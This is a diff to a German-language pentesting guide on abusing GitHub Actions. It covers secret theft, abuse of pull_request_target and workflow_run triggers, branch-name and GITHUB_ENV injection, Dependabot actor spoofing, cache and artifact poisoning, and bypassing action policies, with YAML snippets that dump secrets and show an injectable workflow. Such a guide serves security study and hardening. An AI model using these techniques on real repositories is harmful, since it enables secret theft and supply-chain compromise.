diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 8c3a040a5..ae9680598 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -1,8 +1,8 @@ -# Abusing Github Actions +# Missbrauch von Github Actions {{#include ../../../banners/hacktricks-training.md}} -## Werkzeuge +## Tools Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sogar verwundbare zu entdecken: @@ -10,49 +10,49 @@ Die folgenden Tools sind nützlich, um Github Action workflows zu finden und sog - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) -- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Schau dir auch seine Checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) an +- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Grundlegende Informationen -Auf dieser Seite findest du: +Auf dieser Seite finden Sie: -- Eine **Zusammenfassung aller Auswirkungen**, wenn ein Angreifer es schafft, auf eine Github Action zuzugreifen -- Verschiedene Wege, um **Zugriff auf eine Action** zu erhalten: -- Besitz von **Berechtigungen** zum Erstellen der Action +- Eine **Zusammenfassung aller Auswirkungen**, die ein Angreifer hat, wenn er Zugriff auf eine Github Action erlangt +- Verschiedene Wege, **Zugriff auf eine Action zu erhalten**: +- **Berechtigungen**, um die Action zu erstellen - Missbrauch von **pull request**-bezogenen Triggern -- Missbrauch **anderer externer Zugriffstechniken** -- **Pivoting** von einem bereits kompromittierten repo -- Schließlich ein Abschnitt über **post-exploitation techniques**, um eine Action von innen heraus zu missbrauchen (um die genannten Auswirkungen zu verursachen) +- Missbrauch von **anderen externen Zugriffstechniken** +- **Pivoting** von einem bereits kompromittierten Repo +- Schließlich ein Abschnitt über **post-exploitation**-Techniken, um eine Action von innen zu missbrauchen (um die genannten Auswirkungen zu verursachen) ## Zusammenfassung der Auswirkungen -Für eine Einführung zu [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Wenn du **beliebigen Code in GitHub Actions** innerhalb eines **repository** ausführen kannst, könntest du möglicherweise: +Wenn Sie **beliebigen Code in GitHub Actions ausführen** können innerhalb eines **Repositories**, könnten Sie: -- **Geheimnisse stehlen**, die an die Pipeline gemountet sind, und **die Berechtigungen der Pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen. -- **Deployments kompromittieren** und andere **Artefakte**. -- Wenn die Pipeline Assets deployt oder speichert, könntest du das Endprodukt verändern und damit einen Supply-Chain-Angriff ermöglichen. +- **Secrets stehlen**, die an die Pipeline gemountet sind, und **die Privilegien der Pipeline missbrauchen**, um unautorisierten Zugriff auf externe Plattformen wie AWS und GCP zu erlangen. +- **Deployments** und andere **Artifacts** kompromittieren. +- Wenn die Pipeline Assets deployt oder speichert, könnten Sie das Endprodukt verändern und so einen supply chain attack ermöglichen. - **Code in custom workers ausführen**, um Rechenleistung zu missbrauchen und zu anderen Systemen zu pivoten. -- **Repository-Code überschreiben**, abhängig von den Berechtigungen, die mit dem `GITHUB_TOKEN` verbunden sind. +- Repository-Code **überschreiben**, abhängig von den mit dem `GITHUB_TOKEN` verbundenen Berechtigungen. ## GITHUB_TOKEN -Dieses "**secret**" (aus `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird vergeben, wenn der Admin diese Option aktiviert: +Dieses "**Secret**" (stammend von `${{ secrets.GITHUB_TOKEN }}` und `${{ github.token }}`) wird vergeben, wenn der Admin diese Option aktiviert:
-Dieser Token ist derselbe, den eine **Github Application will use**, daher kann er dieselben Endpunkte aufrufen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +Dieses Token ist dasselbe, das eine **Github Application verwenden würde**, daher kann es auf dieselben Endpunkte zugreifen: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub ermöglicht, sodass ein repo mit dem `GITHUB_TOKEN` auf andere interne Repos zugreifen kann. +> Github sollte einen [**flow**](https://github.com/github/roadmap/issues/74) veröffentlichen, der **cross-repository** Zugriff innerhalb von GitHub erlaubt, sodass ein Repo mit dem `GITHUB_TOKEN` auf andere interne Repos zugreifen kann. -Die möglichen **Berechtigungen** dieses Tokens kannst du hier einsehen: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +Die möglichen **Berechtigungen** dieses Tokens finden Sie unter: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Beachte, dass das Token **nach Abschluss des Jobs abläuft**.\ -Solche Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +Beachten Sie, dass das Token **nach Abschluss des Jobs abläuft**.\ +Diese Tokens sehen so aus: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Einige interessante Dinge, die du mit diesem Token tun kannst: +Einige interessante Dinge, die Sie mit diesem Token tun können: {{#tabs }} {{#tab name="Merge PR" }} @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Beachte, dass du in mehreren Fällen **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir erweiterte Rechte für das Repository und die Organisation verschaffen. +> Beachte, dass du bei mehreren Gelegenheiten **github user tokens inside Github Actions envs or in the secrets** finden kannst. Diese Tokens können dir mehr Privilegien im Repository und in der Organisation geben.
-Secrets im Github Action-Output auflisten +Secrets in Github Action-Ausgabe auflisten ```yaml name: list_env on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Es ist möglich, die einem Github Token gewährten Berechtigungen in Repositories anderer Benutzer zu prüfen, indem man die Logs der Github actions überprüft: +Es ist möglich, die Berechtigungen eines Github Token in den Repositories anderer Benutzer zu prüfen, indem man **die logs** der actions überprüft:
## Zulässige Ausführung > [!NOTE] -> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du Zugriff darauf hast, **ein neues Repo in der Organisation zu erstellen**, oder **Schreibrechte an einem Repository** zu besitzen. +> Dies wäre der einfachste Weg, Github actions zu kompromittieren, da dieser Fall voraussetzt, dass du Zugriff darauf hast, **create a new repo in the organization**, oder **write privileges over a repository**. > -> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) überprüfen. +> Wenn du dich in diesem Szenario befindest, kannst du einfach die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) prüfen. ### Ausführung durch Repo-Erstellung -Falls Mitglieder einer Organisation **neue repos erstellen können** und du Github actions ausführen kannst, kannst du **ein neues Repo erstellen und die auf Organisationsebene gesetzten secrets stehlen**. +Falls Mitglieder einer Organisation **create new repos** können und du github actions ausführen kannst, kannst du **create a new repo and steal the secrets set at organization level**. ### Ausführung über einen neuen Branch -Wenn du **einen neuen Branch in einem Repository erstellen kannst, das bereits eine konfigurierte Github Action enthält**, kannst du diese **modifizieren**, den Inhalt **hochladen**, und dann **diese Action vom neuen Branch aus ausführen**. Auf diese Weise kannst du **repository- und organisationsweite secrets exfiltrieren** (du musst aber wissen, wie sie heißen). +Wenn du **create a new branch in a repository that already contains a Github Action** konfigurieren kannst, kannst du sie **modify**, den Inhalt **upload** und dann **execute that action from the new branch**. Auf diese Weise kannst du **exfiltrate repository and organization level secrets** (aber du musst wissen, wie sie genannt werden). > [!WARNING] -> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel, `on: push: branches: [main]`, job conditionals, oder manuelle Gates) kann von Mitwirkenden bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments, and protected tags) kann ein Contributor einen Workflow umleiten, damit er auf ihrem Branch läuft, und die gemounteten secrets/permissions missbrauchen. +> Jede Einschränkung, die nur innerhalb der workflow YAML implementiert ist (zum Beispiel `on: push: branches: [main]`, job conditionals, oder manual gates), kann von collaborators bearbeitet werden. Ohne externe Durchsetzung (branch protections, protected environments, and protected tags) kann ein contributor einen Workflow so umleiten, dass er auf ihrem Branch läuft und montierte secrets/permissions missbraucht werden. -Du kannst die modifizierte Action ausführbar machen **manuell,** wenn ein **PR erstellt** wird oder wenn **Code gepusht** wird (je nachdem, wie auffällig du sein willst): +Du kannst die modifizierte Action ausführbar machen **manuell,** wenn ein **PR is created** oder wenn **some code is pushed** (abhängig davon, wie auffällig du sein möchtest): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Ausführung in Forks +## Ausführung aus Forks > [!NOTE] -> Es gibt verschiedene Trigger, mit denen ein Angreifer eine **Github Action eines anderen Repositories ausführen** könnte. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer sie kompromittieren. +> Es gibt verschiedene Trigger, die einem Angreifer erlauben könnten, eine Github Action eines anderen Repositories auszuführen. Wenn diese triggerbaren Actions schlecht konfiguriert sind, könnte ein Angreifer sie kompromittieren. ### `pull_request` -Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein(e) **maintainer** den **run** des Workflows **freigeben**: +Der Workflow-Trigger **`pull_request`** führt den Workflow jedes Mal aus, wenn ein Pull Request eingeht, mit einigen Ausnahmen: Standardmäßig, wenn es das **erste Mal** ist, dass du **mitwirkst**, muss ein **Maintainer** den **Lauf** des Workflows **genehmigen**:
> [!NOTE] -> Da die **default limitation** für **first-time** contributors gilt, könntest du zuerst zur **Behebung eines gültigen Bugs/Typos** beitragen und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**. +> Da die **standardmäßige Einschränkung** für **first-time** contributors gilt, könntest du zunächst **einen gültigen Bug/Typo fix beitragen** und dann **weitere PRs senden, um deine neuen `pull_request`-Privilegien zu missbrauchen**. > -> **I tested this and it doesn't work**: ~~Eine andere Option wäre, ein Konto mit dem Namen einer Person zu erstellen, die zum Projekt beigetragen hat, und dessen Account zu löschen.~~ +> **Ich habe das getestet und es funktioniert nicht**: ~~Eine andere Option wäre, ein Konto mit dem Namen von jemandem zu erstellen, der zum Projekt beigetragen hat, und sein Konto zu löschen.~~ -Außerdem verhindert es standardmäßig **Schreibberechtigungen** und **secrets access** auf das Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt: +Außerdem verhindert es standardmäßig **Schreibberechtigungen** und **Zugriff auf secrets** für das Ziel-Repository, wie in den [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) erwähnt: > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Allerdings wird er aufgrund der genannten Einschränkungen nicht in der Lage sein, secrets zu stehlen oder das Repo zu überschreiben. +Ein Angreifer könnte die Definition der Github Action ändern, um beliebige Dinge auszuführen und beliebige Actions anzuhängen. Er wird jedoch aufgrund der genannten Einschränkungen nicht in der Lage sein, secrets zu stehlen oder das Repo zu überschreiben. > [!CAUTION] -> **Ja: wenn der Angreifer in der PR die github action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!** +> **Ja, wenn der Angreifer in der PR die github action ändert, die ausgelöst wird, wird seine Github Action verwendet und nicht die aus dem origin repo!** -Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne secrets oder Schreibrechte für den `GITHUB_TOKEN` z. B. **bösartige Artifakte hochladen**. +Da der Angreifer auch den auszuführenden Code kontrolliert, könnte er selbst ohne secrets oder Schreibrechte für das `GITHUB_TOKEN` zum Beispiel **bösartige Artifacts hochladen**. ### **`pull_request_target`** -Der Workflow-Trigger **`pull_request_target`** hat **write permission** im Ziel-Repository und **access to secrets** (und fragt nicht um Erlaubnis). +Der Workflow-Trigger **`pull_request_target`** hat **Schreibrechte** für das Ziel-Repository und **Zugriff auf secrets** (und fordert keine Genehmigung an). -Beachte, dass der Workflow-Trigger **`pull_request_target`** **im base context läuft** und nicht im Kontext des PR (um **nicht untrusted code auszuführen**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Beachte, dass der Workflow-Trigger **`pull_request_target`** **im base-Kontext läuft** und nicht in dem durch den PR bereitgestellten Kontext (um **not execute untrusted code**). Für mehr Infos zu `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Außerdem, für mehr Infos zu diesem speziellen gefährlichen Anwendungsfall siehe diesen [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Es mag so aussehen, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, dass die Verwendung von **`pull_request_target`** **sicher** ist, aber es gibt einige Fälle, in denen dies nicht zutrifft. +Es mag so aussehen, dass es sicher ist, **`pull_request_target`** zu verwenden, weil der **ausgeführte Workflow** der ist, der im **base** definiert ist und **nicht im PR**, aber es gibt **einige Fälle, in denen das nicht zutrifft**. -Und dieser hat **access to secrets**. +Und dieser wird **Zugriff auf secrets** haben. ### `workflow_run` -Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger erlaubt es, einen Workflow von einem anderen auszuführen, wenn dieser `completed`, `requested` oder `in_progress` ist. +Der [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) Trigger erlaubt es, einen Workflow aus einem anderen zu starten, wenn dieser `completed`, `requested` oder `in_progress` ist. -In diesem Beispiel ist ein Workflow so konfiguriert, dass er ausgeführt wird, nachdem der separate "Run Tests" Workflow abgeschlossen ist: +In diesem Beispiel ist ein Workflow so konfiguriert, dass er ausgeführt wird, nachdem der separate "Run Tests"-Workflow abgeschlossen ist: ```yaml on: workflow_run: @@ -230,10 +230,10 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. +Außerdem, laut der Docs: Der durch das `workflow_run` Event gestartete Workflow ist in der Lage, **access secrets and write tokens, even if the previous workflow was not**. -This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ -The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. +Diese Art von Workflow könnte angegriffen werden, wenn er **abhängig** von einem **Workflow** ist, der von einem externen Benutzer via **`pull_request`** oder **`pull_request_target`** **ausgelöst** werden kann. Ein paar verwundbare Beispiele können in [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) gefunden werden. Der erste besteht darin, dass der durch **`workflow_run`** ausgelöste Workflow den Code des Angreifers herunterlädt: `${{ github.event.pull_request.head.sha }}` +Der zweite besteht darin, ein **artifact** aus dem **untrusted** Code an den **`workflow_run`** Workflow zu **übergeben** und den Inhalt dieses Artifacts so zu verwenden, dass er **anfällig für RCE** wird. ### `workflow_call` @@ -241,13 +241,13 @@ TODO TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Abusing Forked Execution +## Missbrauch von Fork-Ausführungen -Wir haben alle Wege erwähnt, mit denen ein externer Angreifer einen GitHub Workflow zur Ausführung bringen könnte. Schauen wir uns jetzt an, wie diese Ausführungen, wenn falsch konfiguriert, missbraucht werden können: +Wir haben alle Wege erwähnt, wie ein externer Angreifer einen github Workflow zur Ausführung bringen könnte. Schauen wir uns nun an, wie diese Ausführungen, wenn schlecht konfiguriert, missbraucht werden können: ### Untrusted checkout execution -Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (er führt also den **malicious PRs code** aus), aber jemand muss ihn **zuerst authorisieren** und er läuft mit einigen [Einschränkungen](#pull_request). +Im Fall von **`pull_request`** wird der Workflow im **Kontext des PR** ausgeführt (also führt er den **malicious PRs code** aus), aber jemand muss ihn **zuerst autorisieren** und er läuft mit einigen [limitations](#pull_request). Im Fall eines Workflows, der **`pull_request_target` or `workflow_run`** verwendet und von einem Workflow abhängt, der durch **`pull_request_target` or `pull_request`** ausgelöst werden kann, wird der Code aus dem Original-Repo ausgeführt, sodass der **attacker cannot control the executed code**. @@ -282,14 +282,14 @@ message: | Thank you! -Der potenziell **untrusted code is being run during `npm install` or `npm build`** da die Build-Skripte und referenzierten **packages are controlled by the author of the PR**. +Der potenziell **untrusted code wird während `npm install` oder `npm build` ausgeführt**, da die Build-Skripte und referenzierten **packages vom Autor des PR kontrolliert werden**. > [!WARNING] > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections -Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erstelltem PR **kontrolliert** werden. Wenn die github action diese **data to execute anything** verwendet, kann das zu **arbitrary code execution** führen: +Beachte, dass es bestimmte [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) gibt, deren Werte vom **user** erstelltem PR **kontrolliert** werden. Wenn die github action diese **data to execute anything** verwendet, könnte das zu **arbitrary code execution** führen: {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. +Laut der Docs: Du kannst eine **environment variable available to any subsequent steps** in einem Workflow-Job verfügbar machen, indem du die Environment-Variable definierst oder aktualisierst und dies in die **`GITHUB_ENV`** environment file schreibst. -Wenn ein Angreifer beliebige Werte in diese **env**-Variable injizieren könnte, könnte er Umgebungsvariablen setzen, die in folgenden Steps Code ausführen, wie z. B. **LD_PRELOAD** oder **NODE_OPTIONS**. +Wenn ein Angreifer einen beliebigen Wert in diese **env** Variable **injecten** könnte, könnte er env-Variablen injizieren, die in folgenden Schritten Code ausführen, wie etwa **LD_PRELOAD** oder **NODE_OPTIONS**. -For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: +Zum Beispiel ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) und [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stelle dir einen Workflow vor, der einem hochgeladenen artifact vertraut, um dessen Inhalt in der **`GITHUB_ENV`** env-Variable zu speichern. Ein Angreifer könnte so etwas hochladen, um ihn zu kompromittieren:
### Dependabot and other trusted bots -As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: +Wie in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest) beschrieben, haben mehrere Organisationen eine Github Action, die jeden PR von `dependabot[bot]` merged, wie in: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Was ein Problem ist, weil das Feld `github.actor` den Benutzer enthält, der das zuletzt das Workflow auslösende Ereignis verursacht hat. Und es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu verändern. Zum Beispiel: +Das ist ein Problem, weil das Feld `github.actor` den Benutzer enthält, der das letzte Ereignis verursacht hat, das den Workflow ausgelöst hat. Und es gibt mehrere Wege, den Benutzer `dependabot[bot]` dazu zu bringen, einen PR zu ändern. Zum Beispiel: -- Das Repository des Opfers forken -- Die bösartige Payload in deine Kopie einfügen -- Dependabot in deinem Fork aktivieren, indem du eine veraltete Abhängigkeit hinzufügst. Dependabot erstellt einen Branch, der die Abhängigkeit behebt und bösartigen Code enthält. -- Einen Pull Request zum Repository des Opfers von diesem Branch öffnen (der PR wird vom Benutzer erstellt, also passiert noch nichts) +- Forke das Repository des Opfers +- Füge deiner Kopie die bösartige payload hinzu +- Aktiviere Dependabot in deinem Fork, indem du eine veraltete Abhängigkeit hinzufügst. Dependabot wird einen Branch erstellen, der die Abhängigkeit behebt und bösartigen Code enthält. +- Öffne einen Pull Request zum Repository des Opfers von diesem Branch (der PR wird vom Benutzer erstellt, also passiert noch nichts) - Dann geht der Angreifer zurück zu dem initialen PR, den Dependabot in seinem Fork geöffnet hat, und führt `@dependabot recreate` aus -- Dann führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers verändern, wodurch `dependabot[bot]` der Akteur des zuletzt das Workflow auslösenden Ereignisses wird (und daher das Workflow ausgeführt wird). +- Danach führt Dependabot einige Aktionen in diesem Branch aus, die den PR im Repository des Opfers modifizieren, wodurch `dependabot[bot]` zum Akteur des letzten Ereignisses wird, das den Workflow ausgelöst hat (und daher wird der Workflow ausgeführt). -Weiter: Was wäre, wenn statt zu mergen die Github Action eine command injection wie in: +Weiter: Was wäre, wenn statt des Mergings die Github Action eine command injection hätte wie in: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Im ursprünglichen Blogpost werden zwei Optionen vorgeschlagen, dieses Verhalten auszunutzen; die zweite lautet: +Nun, der ursprüngliche blogpost schlägt zwei Optionen vor, dieses Verhalten auszunutzen; die zweite ist folgende: - Fork the victim repository and enable Dependabot with some outdated dependency. -- Create a new branch with the malicious shell injeciton code. +- Create a new branch with the malicious shell injection code. - Change the default branch of the repo to that one - Create a PR from this branch to the victim repository. - Run `@dependabot merge` in the PR Dependabot opened in his fork. - Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name. -### Verwundbare Drittanbieter-Github Actions +### Verwundbare Drittanbieter Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus verschiedenen workflows und sogar repositories. +Wie in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) erwähnt, erlaubt diese Github Action den Zugriff auf artifacts aus unterschiedlichen workflows und sogar repositories. -Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später im workflow verwendet oder sogar ausgeführt werden. Daher könnte ein Angreifer, wenn das Artifact verwundbar ist, dies ausnutzen, um andere workflows, die dem Artifact vertrauen, zu kompromittieren. +Das Problem ist, dass wenn der **`path`**-Parameter nicht gesetzt ist, das artifact im aktuellen Verzeichnis extrahiert wird und Dateien überschreiben kann, die später verwendet oder sogar im workflow ausgeführt werden. Daher könnte ein Angreifer, falls das Artifact verwundbar ist, dies ausnutzen, um andere workflows zu kompromittieren, die dem Artifact vertrauen. Example of vulnerable workflow: ```yaml @@ -397,23 +397,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -Wenn ein Account seinen Namen ändert, könnte ein anderer Benutzer nach einiger Zeit ein Konto mit diesem Namen registrieren. Wenn ein repository zuvor **weniger als 100 stars** hatte, erlaubt Github dem neu registrierten Benutzer mit demselben Namen, ein **repository mit dem gleichen Namen** wie das gelöschte zu erstellen. +If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. > [!CAUTION] -> Wenn eine action ein repo aus einem nicht existierenden Account verwendet, ist es weiterhin möglich, dass ein Angreifer dieses Account erstellt und die action kompromittiert. +> Daher, wenn eine action ein repo von einem nicht existenten Account verwendet, ist es weiterhin möglich, dass ein attacker diesen Account erstellt und die action kompromittiert. -Wenn andere repositories **dependencies from this user repos** verwendeten, kann ein Angreifer diese hijacken. Hier findest du eine ausführlichere Erklärung: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> In diesem Abschnitt sprechen wir über Techniken, die es ermöglichen würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeine Art von Zugang zum ersten Repo (siehe vorherigen Abschnitt). +> In diesem Abschnitt besprechen wir Techniken, die es erlauben würden, **pivot from one repo to another**, vorausgesetzt wir haben irgendeine Art von Zugang zum ersten Repo (siehe vorherigen Abschnitt). ### Cache Poisoning -Ein cache wird zwischen **workflow runs in the same branch** gepflegt. Das bedeutet, dass wenn ein Angreifer ein **package** kompromittiert, das dann im cache gespeichert wird und von einem **more privileged** workflow **downloaded** und ausgeführt wird, er auch diesen workflow **compromise** kann. +A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows können **artifacts from other workflows and even repos** verwenden. Wenn ein Angreifer es schafft, die Github Action zu kompromittieren, die ein **artifact** hochlädt, das später von einem anderen workflow verwendet wird, könnte er auch die anderen workflows kompromittieren: +Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -Wie in [**diesem Blogpost**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) erwähnt: Selbst wenn ein repository oder eine organization eine policy hat, die die Verwendung bestimmter actions einschränkt, könnte ein Angreifer einfach die Action innerhalb des workflow mit `git clone` herunterladen und sie dann als local action referenzieren. Da die policies lokale Pfade nicht betreffen, wird **die Action ohne Einschränkungen ausgeführt.** +As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.** -Beispiel: +Example: ```yaml on: [push, pull_request] @@ -456,7 +456,7 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### Zugriff auf AWS und GCP via OIDC +### Zugriff auf AWS, Azure und GCP über OIDC Siehe die folgenden Seiten: @@ -464,19 +464,23 @@ Siehe die folgenden Seiten: ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### Zugriff auf secrets -Wenn du Inhalt in ein script injizierst, ist es interessant zu wissen, wie du auf secrets zugreifen kannst: +Wenn du Inhalte in ein Script injizierst, ist es nützlich zu wissen, wie du auf secrets zugreifen kannst: -- Wenn das secret oder token als **environment variable** gesetzt ist, kann es direkt über die Umgebung mit **`printenv`** ausgelesen werden. +- Wenn secret oder token als **environment variable** gesetzt sind, können sie direkt über die Umgebung mit **`printenv`** ausgelesen werden.
-Secrets in der Github Action-Ausgabe auflisten +Secrets in Github Action-Ausgabe auflisten ```yaml name: list_env on: @@ -503,7 +507,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
